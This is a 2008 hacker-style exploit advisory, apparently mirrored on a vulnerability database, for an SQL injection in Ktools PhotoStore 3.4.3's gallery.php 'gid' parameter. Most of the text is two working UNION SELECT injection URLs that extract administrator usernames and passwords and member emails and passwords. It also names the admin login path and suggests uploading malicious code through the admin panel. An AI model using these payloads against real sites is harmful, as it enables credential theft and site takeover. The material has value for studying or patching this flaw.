Ktools PhotoStore 3.4.3 (gallery.php gid) SQL Injection Vulnerability

🗓️ 11 May 2008 00:00:00Reported by RootType
Ktools PhotoStore 3.4.3 SQL Injection Vulnerability in gallery.php gi

                                                #########################################
#&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;PhotoStore&nbsp;3.4.3&nbsp;(&nbsp;gallery.php&nbsp;gid&nbsp;)&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#########################################
##&nbsp;Script&nbsp;NAME&nbsp;&nbsp;:&nbsp;PhotoStore
##&nbsp;VERSION&nbsp;:&nbsp;3.4.3
##&nbsp;DOWNLOAD&nbsp;:&nbsp;http://www.ktools.net/
#########################################
##&nbsp;AuTh0r&nbsp;:&nbsp;Mr.SQL
##&nbsp;H0ME&nbsp;&nbsp;&nbsp;:&nbsp;WwW.PaL-HaCkEr.CoM
##&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;[email protected]&nbsp;
#########################################
##&nbsp;D0rk&nbsp;::&nbsp;&nbsp;n/a&nbsp;&nbsp;&nbsp;;)
################################################################################

##&nbsp;ExPlo!t&nbsp;For&nbsp;ADMIN&nbsp;INFO&nbsp;&nbsp;:
===&gt;&nbsp;http://www.exampel.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,4,5,6,7,8,9,10,1,12,13+from+mgr_users/*
&nbsp;
#############
&nbsp;
##&nbsp;Explo!T&nbsp;For&nbsp;Users&nbsp;INFO&nbsp;:
===&gt;&nbsp;http://www.exampel.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,13+from+members/*

###################################################################################
&nbsp;
===&gt;&gt;&nbsp;Admin&nbsp;P@nel
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/manager/login.php

###&nbsp;N0TE&nbsp;##&nbsp;YOU&nbsp;Can&nbsp;UploaD&nbsp;Your&nbsp;Ev!l&nbsp;Code&nbsp;&nbsp;ADMIN&nbsp;CP
#############
&lt;&lt;&nbsp;Gr33Tz&nbsp;&gt;&gt;&nbsp;&nbsp;
Dark&nbsp;MaSTer&nbsp;::&nbsp;HaCkEr-EGy&nbsp;::&nbsp;MoHaMeD&nbsp;el&nbsp;3rab&nbsp;::&nbsp;ALwHeD&nbsp;::&nbsp;HeBarieH&nbsp;::&nbsp;SecuritY&nbsp;FearS&nbsp;::&nbsp;((&nbsp;MuslimS&nbsp;HaCkErS&nbsp;))
#####################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((&nbsp;Geek&nbsp;InjEcT0r&nbsp;))
11 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1